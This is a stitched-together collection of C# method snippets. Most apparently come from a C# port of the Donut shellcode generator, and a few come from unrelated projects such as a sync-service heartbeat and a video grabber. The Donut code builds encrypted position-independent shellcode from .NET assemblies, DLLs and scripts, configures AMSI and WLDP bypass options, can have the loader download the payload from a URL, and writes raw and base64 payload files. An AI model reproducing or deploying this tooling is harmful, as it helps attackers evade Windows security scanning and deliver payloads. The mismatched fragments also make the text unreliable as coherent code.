public static void Init(DSConfig dsConfig) { DSConfig = dsConfig; _serviceProvider = new ServiceProvider(dsConfig.Port); _serviceProvider.OnErr += Sp_OnErr; _serviceProvider.Start(); #region 从同步 if (!dsConfig.IsMaster) { MasterRpcUrl = $"rpc://{dsConfig.MasterIpPortStr}"; _rpcServiceProxy = new RPCServiceProxy(MasterRpcUrl); _rpcServiceProxy.OnErr += _rpcServiceProxy_OnErr; TaskHelper.Start(() => { try { while (_rpcServiceProxy.SyncService.HeartBean()) { ThreadHelper.Sleep(1000); } } catch { } //若断开,则自动升为主 dsConfig.IsMaster = true; DSConfigBuilder.Save(dsConfig); }); } #endregion }
public static int GenerateOutput(ref DSConfig config) { // Write Output Helper.WriteOutput(ref config); return(Constants.DONUT_ERROR_SUCCESS); }
public static int Donut_Create(ref DSConfig config) { D.Print("Entering Donut_Create()"); int ret; DSFileInfo fi = new DSFileInfo { ver = new char[Constants.DONUT_VER_LEN] }; // Parse config and payload ret = Helper.ParseConfig(ref config, ref fi); if (ret != Constants.DONUT_ERROR_SUCCESS) { return(ret); } // Create the module ret = CreateModule(ref config, ref fi); if (ret != Constants.DONUT_ERROR_SUCCESS) { return(ret); } // Create the instance ret = CreateInstance(ref config); if (ret != Constants.DONUT_ERROR_SUCCESS) { return(ret); } return(Constants.DONUT_ERROR_SUCCESS); }
// This parses if using commandline public static void ParseArguments(Options opts, ref DSConfig config) { try { if (opts.InputFile.Equals(null) == false) { char[] buffer = opts.InputFile.ToCharArray(); Array.Copy(buffer, 0, config.file, 0, buffer.Length); //Console.WriteLine($"\tFile:\t {opts.InputFile}"); } } catch { }; try { if (opts.Arch.Equals(null) == false) { config.arch = opts.Arch; //Console.WriteLine($"\tArch:\t {config.arch}"); } ; } catch { }; try { if (opts.Level.Equals(null) == false) { config.bypass = opts.Level; //Console.WriteLine($"\tBypass:\t {config.bypass}"); } ; } catch { }; try { if (opts.NamespaceClass.Equals(null) == false) { char[] buffer = opts.NamespaceClass.ToCharArray(); Array.Copy(buffer, 0, config.cls, 0, buffer.Length); //Console.WriteLine($"\tClass:\t {opts.NamespaceClass}"); } ; } catch { }; try { if (opts.Payload.Equals(null) == false) { char[] buffer = opts.Payload.ToCharArray(); Array.Copy(buffer, 0, config.outfile, 0, buffer.Length); //Console.WriteLine($"\tOutFile:\t {opts.Payload}"); } ; } catch { }; }
public static void PUT_BYTE(byte insertbyte, ref DSConfig config) { IntPtr ptr = config.pic + config.pic_cnt; byte[] src = { 0x00, insertbyte }; Marshal.WriteByte(ptr, src[1]); config.pic_cnt++; }
// This parses if using nuget package public static int ParseArguments(ref DonutConfig args, ref DSConfig config) { int ret; // If no input file if (string.IsNullOrEmpty(args.InputFile) == true) { return(Constants.DONUT_ERROR_FILE_NOT_FOUND); } // URL not supported yet if (string.IsNullOrEmpty(args.URL) == false) { return(Constants.DONUT_ERROR_INVALID_URL); } // Assign values config.arch = args.Arch; config.bypass = args.Bypass; if (string.IsNullOrEmpty(args.Class) == false) { Helper.Copy(config.cls, args.Class); } if (string.IsNullOrEmpty(args.Domain) == false) { Helper.Copy(config.domain, args.Domain); } if (string.IsNullOrEmpty(args.Method) == false) { Helper.Copy(config.method, args.Method); } if (string.IsNullOrEmpty(args.Runtime) == false) { Helper.Copy(config.runtime, args.Runtime); } if (string.IsNullOrEmpty(args.Payload) == false) { Helper.Copy(config.outfile, args.Payload); } if (string.IsNullOrEmpty(args.Args) == false) { Helper.Copy(config.param, args.Args); } if (string.IsNullOrEmpty(args.InputFile) == false) { Helper.Copy(config.file, args.InputFile); } return(Constants.DONUT_ERROR_SUCCESS); }
public static void PUT_BYTES(byte[] sarr, int cnt, ref DSConfig config) { IntPtr ptr = config.pic + config.pic_cnt; for (int i = 0; i < cnt; i++) { Marshal.WriteByte(ptr + i, sarr[i]); config.pic_cnt++; } }
public static int GenerateOutput(ref DSConfig config, string outfile) { // Write Output Helper.WriteOutput(outfile, ref config); // Edit Loader Template Helper.EditTemplate(outfile); return(Constants.DONUT_ERROR_SUCCESS); }
static public void WriteInst(DSConfig config, IntPtr instptr) { byte[] instbuff = new byte[config.inst_len]; for (int i = 0; i < Convert.ToInt32(config.inst_len); i++) { instbuff[i] = Marshal.ReadByte(instptr + i); } File.WriteAllBytes(@"rawinstance.bin", instbuff); D.Print("Wrote raw instance to disk"); }
void grabber_MediaOnline(DSConfig config) { Size s = this.Size; Size ps = pictureBox.Size; s.Height = s.Height - ps.Height + config.ImageHeight; s.Width = s.Width - ps.Width + config.ImageWidth; this.Size = s; captureButton.Enabled = true; frameServerButton.Enabled = true; }
public static void PUT_INST(IntPtr instptr, int cnt, ref DSConfig config) { IntPtr ptr = config.pic + config.pic_cnt; for (int i = 0; i < cnt; i++) { Marshal.WriteByte(ptr + i, Marshal.ReadByte(instptr + i)); config.pic_cnt++; } Marshal.FreeHGlobal(instptr); }
public static DSConfig Read() { DSConfig result = null; try { var json = FileHelper.ReadString(_filePath); result = SerializeHelper.Deserialize <DSConfig>(json); } catch (Exception ex) { LogHelper.Error("DSConfigBuilder.Read", ex); } return(result); }
public static void Save(DSConfig dsConfig) { try { if (dsConfig != null) { var json = SerializeHelper.Serialize(dsConfig); FileHelper.WriteString(_filePath, json); } } catch (Exception ex) { LogHelper.Error("DSConfigBuilder.Save", ex); } }
public static int Donut_Create(ref DSConfig config, string outfile) { D.Print("Entering Donut_Create()"); int ret; DSFileInfo fi = new DSFileInfo { ver = new char[Constants.DONUT_VER_LEN] }; // Parse config and payload ret = Helper.ParseConfig(ref config, ref fi); if (ret != Constants.DONUT_ERROR_SUCCESS) { return(ret); } // Create the module ret = CreateModule(ref config, ref fi); if (ret != Constants.DONUT_ERROR_SUCCESS) { return(ret); } // Create the instance ret = CreateInstance(ref config); if (ret != Constants.DONUT_ERROR_SUCCESS) { return(ret); } // Generates output ret = GenerateOutput(ref config, outfile); if (ret != Constants.DONUT_ERROR_SUCCESS) { return(ret); } // Compiles loader //ret = CompileLoader(); //if (ret != Constants.DONUT_ERROR_SUCCESS) //{ // return ret; //} return(Constants.DONUT_ERROR_SUCCESS); }
public unsafe static byte[] GetOutput(ref DSConfig config) { try { // Raw bytes to file MemoryStream f = new MemoryStream(); UnmanagedMemoryStream fs = new UnmanagedMemoryStream((byte *)config.pic, Convert.ToInt32(config.pic_cnt)); fs.CopyTo(f); fs.Close(); f.Close(); return(f.ToArray()); } catch { Console.WriteLine("Failed to write payload to file"); return(null); } }
public static unsafe void WriteOutput(string outfile, ref DSConfig config) { try { // Raw bytes to file FileStream f = new FileStream(outfile, FileMode.Create, FileAccess.Write); UnmanagedMemoryStream fs = new UnmanagedMemoryStream((byte *)config.pic, Convert.ToInt32(config.pic_cnt)); fs.CopyTo(f); fs.Close(); f.Close(); Console.WriteLine($"Raw Payload: {outfile}"); // Write B64 version File.WriteAllText($@"{outfile}.b64", Convert.ToBase64String(File.ReadAllBytes(outfile))); Console.WriteLine($"B64 Payload: {outfile}.b64"); } catch { Console.WriteLine("Failed to write payload to file"); } }
public static byte[] GenerateOutput(ref DSConfig config) { return(Helper.GetOutput(ref config)); }
public static int CreateModule(ref DSConfig config, ref DSFileInfo fi) { D.Print("Entering CreateModule()"); string[] param; // Inititialize Module struct DSModule mod = new DSModule { type = fi.type, runtime = new byte[512], cls = new byte[512], method = new byte[512], domain = new byte[512], sig = new char[256] }; // DotNet Assembly if (mod.type == Constants.DONUT_MODULE_NET_DLL || mod.type == Constants.DONUT_MODULE_NET_EXE) { // If no AppDomain, generate one if (config.domain[0] == 0) { Helper.Copy(config.domain, Helper.RandomString(8)); } Console.WriteLine($"\t[+] Domain:\t{Helper.String(config.domain)}"); Helper.Unicode(mod.domain, Helper.String(config.domain)); if (mod.type == Constants.DONUT_MODULE_NET_DLL) { Console.WriteLine($"\t[+] Class:\t{Helper.String(config.cls)}"); Helper.Unicode(mod.cls, Helper.String(config.cls)); Console.WriteLine($"\t[+] Method:\t{Helper.String(config.method)}"); Helper.Unicode(mod.method, Helper.String(config.method)); } // If no runtime specified, use the version from assembly if (config.runtime[0] == 0) { config.runtime = fi.ver; } Console.WriteLine($"\t[+] Runtime:\t{Helper.String(config.runtime)}"); Helper.Unicode(mod.runtime, Helper.String(config.runtime)); } // Unmanaged DLL? if (mod.type == Constants.DONUT_MODULE_DLL) { if (config.method[0] == 0) { // Set method DllMain Helper.Copy(mod.method, "DllMain"); } else { Helper.Copy(mod.method, Helper.String(config.method)); } } if (config.param != null) { // Initialize Param struct mod.p = new P[Constants.DONUT_MAX_PARAM + 1]; for (int i = 0; i < mod.p.Length; i++) { mod.p[i] = new P { param = new byte[Constants.DONUT_MAX_NAME * 2] }; } // Assign params param = Helper.String(config.param).Split(new char[] { ',', ';' }); for (int cnt = 0; cnt < param.Length; cnt++) { Helper.Unicode(mod.p[cnt].param, param[cnt]); mod.param_cnt++; } // If no params, assign cnt = 0 if (param[0] == "") { mod.param_cnt = 0; } } // Assign mod length mod.len = Convert.ToUInt32(new FileInfo(Helper.String(config.file)).Length); // Update mod and len config.mod = mod; config.mod_len = Convert.ToUInt32(Marshal.SizeOf(typeof(DSModule))) + mod.len; D.Print($"Total Module Size: {config.mod_len}"); return(Constants.DONUT_ERROR_SUCCESS); }
public dynamic InitStruct(string type) { if (type == "DSConfig") { var config = new DSConfig { arch = Constants.DONUT_ARCH_X84, bypass = Constants.DONUT_BYPASS_CONTINUE, inst_type = Constants.DONUT_INSTANCE_PIC, mod_len = 0, inst_len = 0, pic = IntPtr.Zero, pic_len = 0, cls = new char[Constants.DONUT_MAX_NAME], domain = new char[Constants.DONUT_MAX_NAME], method = new char[Constants.DONUT_MAX_NAME], modname = new char[Constants.DONUT_MAX_NAME], file = new char[Constants.DONUT_MAX_NAME], runtime = new char[Constants.DONUT_MAX_NAME], url = new char[Constants.DONUT_MAX_NAME], param = new char[(Constants.DONUT_MAX_PARAM + 1) * Constants.DONUT_MAX_NAME] }; return(config); } else if (type == "DSModule") { var mod = new DSModule { runtime = new byte[512], cls = new byte[512], method = new byte[512], domain = new byte[512], sig = new char[256] }; mod.p = new P[Constants.DONUT_MAX_PARAM + 1]; for (int i = 0; i < mod.p.Length; i++) { mod.p[i] = new P { param = new byte[Constants.DONUT_MAX_NAME * 2] }; } return(mod); } else if (type == "DSInstance") { var inst = new DSInstance { sig = new char[256], amsiInit = new char[16], amsiScanBuf = new char[16], amsiScanStr = new char[16], clr = new char[8], wldp = new char[16], wldpQuery = new char[32], wldpIsApproved = new char[32], wscript = new char[16], wscript_exe = new char[32], }; inst.amsi = new AMSI(); inst.amsi.s = new char[8]; inst.key.ctr = new byte[16]; inst.key.mk = new byte[16]; inst.mod_key.ctr = new byte[16]; inst.mod_key.mk = new byte[16]; return(inst); } return(0); }
public static void ParseArguments(Options opts, ref DSConfig config) { try { if (opts.InputFile.Equals(null) == false) { char[] buffer = opts.InputFile.ToCharArray(); Array.Copy(buffer, 0, config.file, 0, buffer.Length); Console.WriteLine($"\tFile:\t {opts.InputFile}"); } } catch { }; try { if (opts.Arch.Equals(null) == false) { config.arch = opts.Arch; Console.WriteLine($"\tArch:\t {config.arch}"); } ; } catch { }; try { if (opts.Level.Equals(null) == false) { config.bypass = opts.Level; Console.WriteLine($"\tBypass:\t {config.bypass}"); } ; } catch { }; try { if (opts.NamespaceClass.Equals(null) == false) { char[] buffer = opts.NamespaceClass.ToCharArray(); Array.Copy(buffer, 0, config.cls, 0, buffer.Length); Console.WriteLine($"\tClass:\t {opts.NamespaceClass}"); } ; } catch { }; try { if (opts.Method.Equals(null) == false) { char[] buffer = opts.Method.ToCharArray(); Array.Copy(buffer, 0, config.method, 0, buffer.Length); Console.WriteLine($"\tMethod:\t {opts.Method}"); } ; } catch { }; try { if (opts.Args.Equals(null) == false) { char[] buffer = opts.Args.ToCharArray(); Array.Copy(buffer, 0, config.param, 0, buffer.Length); Console.WriteLine($"\tArgs:\t {opts.Args}"); } ; } catch { }; try { if (opts.Version.Equals(null) == false) { char[] buffer = opts.Version.ToCharArray(); Array.Copy(buffer, 0, config.runtime, 0, buffer.Length); Console.WriteLine($"\tVersion:\t {opts.Version}"); } ; } catch { }; try { if (opts.URL.Equals(null) == false) { char[] buffer = opts.URL.ToCharArray(); Array.Copy(buffer, 0, config.url, 0, buffer.Length); config.inst_type = Constants.DONUT_INSTANCE_URL; Console.WriteLine($"\tURL:\t {opts.URL}"); } ; } catch { }; }
public static int ParseConfig(ref DSConfig config, ref DSFileInfo fi) { D.Print("Entering ParseConfig()"); string file = new string(config.file).Replace("\0", ""); // Checks if file exists if (File.Exists(file) == false) { return(Constants.DONUT_ERROR_INVALID_PARAMETER); } // Validate URL if (config.inst_type == Constants.DONUT_INSTANCE_URL) { // Make sure it's a validate URL (check this don't know exactly how it's checking) D.Print("Validating URL"); if (Uri.IsWellFormedUriString(String(config.url), UriKind.Absolute) == false) { return(Constants.DONUT_ERROR_INVALID_URL); } // If URL doesn't have trailing slash, add one //if (config.url(config.url.Length - 1) != "/") //{ // config.url += "/"; //} } // Validate Arch D.Print("Checking for Arch Mismatch"); if (config.arch != Constants.DONUT_ARCH_ANY && config.arch != Constants.DONUT_ARCH_X86 && config.arch != Constants.DONUT_ARCH_X84 && config.arch != Constants.DONUT_ARCH_X64) { return(Constants.DONUT_ERROR_INVALID_ARCH); } // Validate AMSI/WDLP Bypass Option D.Print("Validating Bypass Option"); if (config.bypass != Constants.DONUT_BYPASS_SKIP && config.bypass != Constants.DONUT_BYPASS_ABORT && config.bypass != Constants.DONUT_BYPASS_CONTINUE) { return(Constants.DONUT_ERROR_BYPASS_INVALID); } // Get File Info var ret = ParseInputFile(file, ref fi); if (ret != Constants.DONUT_ERROR_SUCCESS) { return(ret); } // Set Module Type config.mod_type = fi.type; if (config.mod_type == Constants.DONUT_MODULE_DLL || config.mod_type == Constants.DONUT_MODULE_EXE) { // Check for Arch mismatch if ((config.arch == Constants.DONUT_ARCH_X86 && fi.arch == Constants.DONUT_ARCH_X64) || (config.arch == Constants.DONUT_ARCH_X64 && fi.arch == Constants.DONUT_ARCH_X86)) { return(Constants.DONUT_ERROR_ARCH_MISMATCH); } // Check existence of DLL function specified if (config.mod_type == Constants.DONUT_MODULE_DLL && config.method != null) { try { var exported = new PeNet.PeFile(file).ExportedFunctions; bool found = false; foreach (var func in exported) { if (func.Name == String(config.method)) { found = true; } } if (found == false) { return(Constants.DONUT_ERROR_DLL_FUNCTION); } } catch { return(Constants.DONUT_ERROR_DLL_FUNCTION); } } // If unmanaged DLL with params, need function if (config.mod_type == Constants.DONUT_MODULE_DLL && config.param != null) { if (config.method == null) { return(Constants.DONUT_ERROR_DLL_PARAM); } } } // If .NET DLL make sure Method and Class provided if (config.mod_type == Constants.DONUT_MODULE_NET_DLL) { if (config.cls == null || config.method == null) { return(Constants.DONUT_ERROR_NET_PARAMS); } } return(Constants.DONUT_ERROR_SUCCESS); }
public unsafe static int CreateInstance(ref DSConfig config) { byte[] bytes; UInt32 inst_len = Convert.ToUInt32(Marshal.SizeOf(typeof(DSInstance))); D.Print("Entering CreateInstance()"); // Initialize Instance struct DSInstance inst = new Helper().InitStruct("DSInstance"); // Add module size to instance len if (config.inst_type == Constants.DONUT_INSTANCE_PIC) { D.Print($"Adding module size {config.mod_len} to instance size"); inst_len += Convert.ToUInt32(Marshal.SizeOf(typeof(DSModule)) + 32) + Convert.ToUInt32(config.mod_len); } // Generate instance key and counter bytes = Helper.RandomBytes(32); for (var i = 0; i < bytes.Length; i++) { if (i < 16) { inst.key.ctr[i] = bytes[i]; } else { inst.key.mk[i - 16] = bytes[i]; } } D.Print($"Instance CTR:\t{BitConverter.ToString(inst.key.ctr).Replace("-", "")}"); D.Print($"Instance MK :\t{BitConverter.ToString(inst.key.mk).Replace("-", "")}"); // Generate module key and counter bytes = Helper.RandomBytes(32); for (var i = 0; i < bytes.Length; i++) { if (i < 16) { inst.mod_key.ctr[i] = bytes[i]; } else { inst.mod_key.mk[i - 16] = bytes[i]; } } D.Print($"Module CTR:\t{BitConverter.ToString(inst.mod_key.ctr).Replace("-", "")}"); D.Print($"Module MK :\t{BitConverter.ToString(inst.mod_key.mk).Replace("-", "")}"); // Create Verifier string Helper.Copy(inst.sig, Helper.RandomString(8)); D.Print($"Decryption Verfier String: {Helper.String(inst.sig)}"); // Create IV inst.iv = BitConverter.ToUInt64(Helper.RandomBytes(8), 0); D.Print($"IV for Maru Hash:\t{BitConverter.ToString(bytes).Replace("-", "")}"); // Generate DLL and API hashes Helper.APIImports(ref inst); // Assign GUIDs and other vals if (config.mod_type == Constants.DONUT_MODULE_NET_DLL || config.mod_type == Constants.DONUT_MODULE_NET_EXE) { inst.xIID_AppDomain = Constants.xIID_AppDomain; inst.xIID_ICLRMetaHost = Constants.xIID_ICLRMetaHost; inst.xCLSID_CLRMetaHost = Constants.xCLSID_CLRMetaHost; inst.xIID_ICLRRuntimeInfo = Constants.xIID_ICLRRuntimeInfo; inst.xIID_ICorRuntimeHost = Constants.xIID_ICorRuntimeHost; inst.xCLSID_CorRuntimeHost = Constants.xCLSID_CorRuntimeHost; } else if (config.mod_type == Constants.DONUT_MODULE_VBS || config.mod_type == Constants.DONUT_MODULE_JS) { inst.xIID_IUnknown = Constants.xIID_IUnknown; inst.xIID_IDispatch = Constants.xIID_IDispatch; inst.xIID_IHost = Constants.xIID_IHost; inst.xIID_IActiveScript = Constants.xIID_IActiveScript; inst.xIID_IActiveScriptSite = Constants.xIID_IActiveScriptSite; inst.xIID_IActiveScriptSiteWindow = Constants.xIID_IActiveScriptSiteWindow; inst.xIID_IActiveScriptParse32 = Constants.xIID_IActiveScriptParse32; inst.xIID_IActiveScriptParse64 = Constants.xIID_IActiveScriptParse64; Helper.Copy(inst.wscript, "WScript"); Helper.Copy(inst.wscript_exe, "wscript.exe"); if (config.mod_type == Constants.DONUT_MODULE_VBS) { inst.xCLSID_ScriptLanguage = Constants.xCLSID_VBScript; } else { inst.xCLSID_ScriptLanguage = Constants.xCLSID_JScript; } } else if (config.mod_type == Constants.DONUT_MODULE_XSL) { inst.xCLSID_DOMDocument30 = Constants.xCLSID_DOMDocument30; inst.xIID_IXMLDOMDocument = Constants.xIID_IXMLDOMDocument; inst.xIID_IXMLDOMNode = Constants.xIID_IXMLDOMNode; } Helper.Copy(inst.amsi.s, "AMSI"); Helper.Copy(inst.amsiInit, "AmsiInitialize"); Helper.Copy(inst.amsiScanBuf, "AmsiScanBuffer"); Helper.Copy(inst.amsiScanStr, "AmsiScanString"); Helper.Copy(inst.clr, "CLR"); Helper.Copy(inst.wldp, "WLDP"); Helper.Copy(inst.wldpQuery, "WldpQueryDynamicCodeTrust"); Helper.Copy(inst.wldpIsApproved, "WldpIsClassInApprovedList"); // Assign inst type inst.type = config.inst_type; // If URL type, assign URL if (inst.type == Constants.DONUT_INSTANCE_URL) { inst.http.url = new char[Constants.DONUT_MAX_URL]; inst.http.req = new char[8]; config.modname = Helper.RandomString(Constants.DONUT_MAX_MODNAME).ToCharArray(); Helper.Copy(inst.http.url, Helper.String(config.url) + Helper.String(config.modname)); Helper.Copy(inst.http.req, "GET"); D.Print($"Payload will be downloaded from {Helper.String(inst.http.url)}"); } // Update struct lengths inst.mod_len = config.mod_len; inst.len = inst_len; config.inst = inst; config.inst_len = inst_len; // Generate MAC inst.mac = Helper.Maru(Helper.String(inst.sig), ref inst); // Copy Instance to memory var instptr = Marshal.AllocHGlobal(Convert.ToInt32(config.inst_len)); Marshal.StructureToPtr(inst, instptr, false); // Copy Module to memory var modptr = Marshal.AllocHGlobal(Convert.ToInt32(config.mod_len)); Marshal.StructureToPtr(config.mod, modptr, false); // Calculate offsets var encoffset = Marshal.OffsetOf(typeof(DSInstance), "api_cnt").ToInt32(); var encptr = IntPtr.Add(instptr, encoffset); var modoffset = Marshal.OffsetOf(typeof(DSInstance), "module").ToInt32(); var moddata = IntPtr.Add(instptr, modoffset); var fileoffset = Marshal.OffsetOf(typeof(DSModule), "data").ToInt32(); // Copy Module to Instance Buffer.MemoryCopy(modptr.ToPointer(), moddata.ToPointer(), Marshal.SizeOf(typeof(DSModule)), Marshal.SizeOf(typeof(DSModule))); // if URL, copy stuff if (inst.type == Constants.DONUT_INSTANCE_URL) { D.Print($"Copying URL module data to instance"); //inst.module.p = config.mod; } // if PIC, copy payload to instance if (inst.type == Constants.DONUT_INSTANCE_PIC) { D.Print($"Copying PIC module data to instance"); // Copy payload file to end of module var mmfile = MemoryMappedFile.CreateFromFile(Helper.String(config.file), FileMode.Open); var view = mmfile.CreateViewAccessor(); byte *fileptr = (byte *)0; view.SafeMemoryMappedViewHandle.AcquirePointer(ref fileptr); Buffer.MemoryCopy(fileptr, IntPtr.Add(moddata, fileoffset).ToPointer(), config.mod.len, config.mod.len); mmfile.Dispose(); } // Release module Marshal.FreeHGlobal(modptr); // Encrypt instance D.Print("Encrypting Instance"); Helper.Encrypt(inst.key.mk, inst.key.ctr, encptr, Convert.ToUInt32(inst.len - encoffset)); // Writes raw instance if DEBUG D.WriteInst(config, instptr); // Generate final shellcode int ret = Shellcode(ref config, instptr); if (ret != Constants.DONUT_ERROR_SUCCESS) { return(ret); } return(Constants.DONUT_ERROR_SUCCESS); }
static unsafe void Main(string[] args) { D.Print("Starting Donut"); var options = new Options(); string outfile = ""; // Set Default var config = new DSConfig { arch = Constants.DONUT_ARCH_X84, bypass = Constants.DONUT_BYPASS_CONTINUE, inst_type = Constants.DONUT_INSTANCE_PIC, mod_len = 0, inst_len = 0, pic = IntPtr.Zero, pic_len = 0, cls = new char[Constants.DONUT_MAX_NAME], domain = new char[Constants.DONUT_MAX_NAME], method = new char[Constants.DONUT_MAX_NAME], modname = new char[Constants.DONUT_MAX_NAME], file = new char[Constants.DONUT_MAX_NAME], runtime = new char[Constants.DONUT_MAX_NAME], url = new char[Constants.DONUT_MAX_NAME], param = new char[(Constants.DONUT_MAX_PARAM + 1) * Constants.DONUT_MAX_NAME] }; D.Print("Parsing Arguements:"); // Parse args and assign to struct Parser.Default.ParseArguments <Options>(args).WithParsed <Options>(opts => { if (opts.InputFile.Equals(null) == false) { opts.GetUsage(); } try { if (opts.InputFile.Equals(null) == false) { Array.Copy(opts.InputFile.ToCharArray(), 0, config.file, 0, opts.InputFile.ToCharArray().Length); D.Print($"\tFile:\t {opts.InputFile}"); } } catch { }; try { if (opts.Payload.Equals(null) == false) { outfile = opts.Payload; D.Print($"\tOutfile: {opts.Payload}"); } } catch { }; try { if (opts.Arch.Equals(null) == false) { config.arch = opts.Arch; D.Print($"\tArch:\t {config.arch}"); } ; } catch { }; try { if (opts.Level.Equals(null) == false) { config.bypass = opts.Level; D.Print($"\tBypass:\t {config.bypass}"); } ; } catch { }; try { if (opts.NamespaceClass.Equals(null) == false) { Array.Copy(opts.NamespaceClass.ToCharArray(), 0, config.cls, 0, opts.NamespaceClass.ToCharArray().Length); D.Print($"\tClass:\t {opts.NamespaceClass}"); } ; } catch { }; try { if (opts.Method.Equals(null) == false) { Array.Copy(opts.Method.ToCharArray(), 0, config.method, 0, opts.Method.ToCharArray().Length); D.Print($"\tMethod:\t {opts.Method}"); } ; } catch { }; try { if (opts.Args.Equals(null) == false) { Array.Copy(opts.Args.ToCharArray(), 0, config.param, 0, opts.Args.ToCharArray().Length); D.Print($"\tArgs:\t {opts.Args}"); } ; } catch { }; try { if (opts.Version.Equals(null) == false) { Array.Copy(opts.Version.ToCharArray(), 0, config.runtime, 0, opts.Version.ToCharArray().Length); D.Print($"\tVersion:\t {opts.Version}"); } ; } catch { }; try { if (opts.URL.Equals(null) == false) { Array.Copy(opts.URL.ToCharArray(), 0, config.url, 0, opts.URL.ToCharArray().Length); config.inst_type = Constants.DONUT_INSTANCE_URL; D.Print($"\tURL:\t {opts.URL}"); } ; } catch { }; }); // Start Generation with Config int ret = Generator.Donut_Create(ref config); D.Print($"Donut_Create() finished with: {GetError(ret)}"); if (ret != Constants.DONUT_ERROR_SUCCESS) { Environment.Exit(0); } // Raw bytes to file try { FileStream file = new FileStream(outfile, FileMode.Create, FileAccess.Write); UnmanagedMemoryStream filestream = new UnmanagedMemoryStream((byte *)config.pic, Convert.ToInt32(config.pic_cnt)); filestream.CopyTo(file); filestream.Close(); file.Close(); D.Print($"Wrote raw payload to {outfile}"); File.WriteAllText($@"{outfile}.b64", Convert.ToBase64String(File.ReadAllBytes(outfile))); D.Print($"Wrote Base64'd payload to {outfile}.b64"); } catch { D.Print("Failed to write payload to file"); } // Free PIC shellcode Marshal.FreeHGlobal(config.pic); }
public static int CreateModule(ref DSConfig config, ref DSFileInfo fi) { string[] param; Console.WriteLine("\nPayload options:"); D.Print("Entering CreateModule()"); // Init Module struct DSModule mod = new Helper().InitStruct("DSModule"); mod.type = fi.type; // DotNet Assembly if (mod.type == Constants.DONUT_MODULE_NET_DLL || mod.type == Constants.DONUT_MODULE_NET_EXE) { // If no AppDomain, generate one if (config.domain[0] == 0) { Helper.Copy(config.domain, Helper.RandomString(8)); } Console.WriteLine($"\tDomain:\t{Helper.String(config.domain)}"); Helper.Unicode(mod.domain, Helper.String(config.domain)); if (mod.type == Constants.DONUT_MODULE_NET_DLL) { Console.WriteLine($"\tClass:\t{Helper.String(config.cls)}"); Helper.Unicode(mod.cls, Helper.String(config.cls)); Console.WriteLine($"\tMethod:\t{Helper.String(config.method)}"); Helper.Unicode(mod.method, Helper.String(config.method)); } // If no runtime specified, use the version from assembly if (config.runtime[0] == 0) { config.runtime = fi.ver; } Console.WriteLine($"\tRuntime:{Helper.String(config.runtime)}"); Helper.Unicode(mod.runtime, Helper.String(config.runtime)); } // Unmanaged DLL? if (mod.type == Constants.DONUT_MODULE_DLL) { if (config.method[0] == 0) { // Set method DllMain if no method specified Helper.Copy(mod.method, "DllMain"); } else { Helper.Copy(mod.method, Helper.String(config.method)); } } if (config.param != null) { // Assign params param = Helper.String(config.param).Split(new char[] { ',', ';' }); for (int cnt = 0; cnt < param.Length; cnt++) { Helper.Unicode(mod.p[cnt].param, param[cnt]); mod.param_cnt++; } // If no params, assign cnt = 0 if (param[0] == "") { mod.param_cnt = 0; } } // Assign Module Length mod.len = Convert.ToUInt32(new FileInfo(Helper.String(config.file)).Length); // Update Module and Length in Config config.mod = mod; config.mod_len = Convert.ToUInt32(Marshal.SizeOf(typeof(DSModule))) + mod.len; D.Print($"Total Module Size: {config.mod_len}"); return(Constants.DONUT_ERROR_SUCCESS); }
public unsafe static int Shellcode(ref DSConfig config, IntPtr instptr) { D.Print("Entering Shellcode()"); if (config.inst_type == Constants.DONUT_INSTANCE_URL) { D.Print($"Saving {config.modname} to disk"); //??? } // Generate PIC length if (config.arch == Constants.DONUT_ARCH_X86) { config.pic_len = Convert.ToUInt32(Constants.PAYLOAD_EXE_x86.Length + Convert.ToInt32(config.inst_len) + 32); config.pic = Marshal.AllocHGlobal(Marshal.SizeOf(config.pic_len)); } else if (config.arch == Constants.DONUT_ARCH_X64) { config.pic_len = Convert.ToUInt32(Constants.PAYLOAD_EXE_x64.Length + Convert.ToInt32(config.inst_len) + 32); config.pic = Marshal.AllocHGlobal(Marshal.SizeOf(config.pic_len)); } else if (config.arch == Constants.DONUT_ARCH_X84) { config.pic_len = Convert.ToUInt32(Constants.PAYLOAD_EXE_x86.Length + Constants.PAYLOAD_EXE_x64.Length + Convert.ToInt32(config.inst_len) + 32); config.pic = Marshal.AllocHGlobal(Convert.ToInt32(config.pic_len)); } // Start shellcode and copy final Instance D.Print($"PIC Size: {config.pic_len}"); Helper.PUT_BYTE(0xE8, ref config); Helper.PUT_WORD(BitConverter.GetBytes(config.inst_len), ref config); Helper.PUT_INST(instptr, Convert.ToInt32(config.inst_len), ref config); Helper.PUT_BYTE(0x59, ref config); // Finish shellcode based on arch if (config.arch == Constants.DONUT_ARCH_X86) { Helper.PUT_BYTE(0x5A, ref config); Helper.PUT_BYTE(0x51, ref config); Helper.PUT_BYTE(0x52, ref config); D.Print($"Copying {Constants.PAYLOAD_EXE_x86.Length} bytes of x86 shellcode"); Helper.PUT_BYTES(Constants.PAYLOAD_EXE_x86, Constants.PAYLOAD_EXE_x86.Length, ref config); } else if (config.arch == Constants.DONUT_ARCH_X64) { D.Print($"Copying {Constants.PAYLOAD_EXE_x64.Length} bytes of x64 shellcode"); Helper.PUT_BYTES(Constants.PAYLOAD_EXE_x64, Constants.PAYLOAD_EXE_x64.Length, ref config); } else if (config.arch == Constants.DONUT_ARCH_X84) { D.Print($"Copying {Constants.PAYLOAD_EXE_x64.Length + Constants.PAYLOAD_EXE_x86.Length} bytes of x64/x86 shellcode"); Helper.PUT_BYTE(0x31, ref config); Helper.PUT_BYTE(0xC0, ref config); Helper.PUT_BYTE(0x48, ref config); Helper.PUT_BYTE(0x0F, ref config); Helper.PUT_BYTE(0x88, ref config); Helper.PUT_WORD(BitConverter.GetBytes(Constants.PAYLOAD_EXE_x64.Length), ref config); Helper.PUT_BYTES(Constants.PAYLOAD_EXE_x64, Constants.PAYLOAD_EXE_x64.Length, ref config); Helper.PUT_BYTE(0x5A, ref config); Helper.PUT_BYTE(0x51, ref config); Helper.PUT_BYTE(0x52, ref config); Helper.PUT_BYTES(Constants.PAYLOAD_EXE_x86, Constants.PAYLOAD_EXE_x86.Length, ref config); } return(Constants.DONUT_ERROR_SUCCESS); }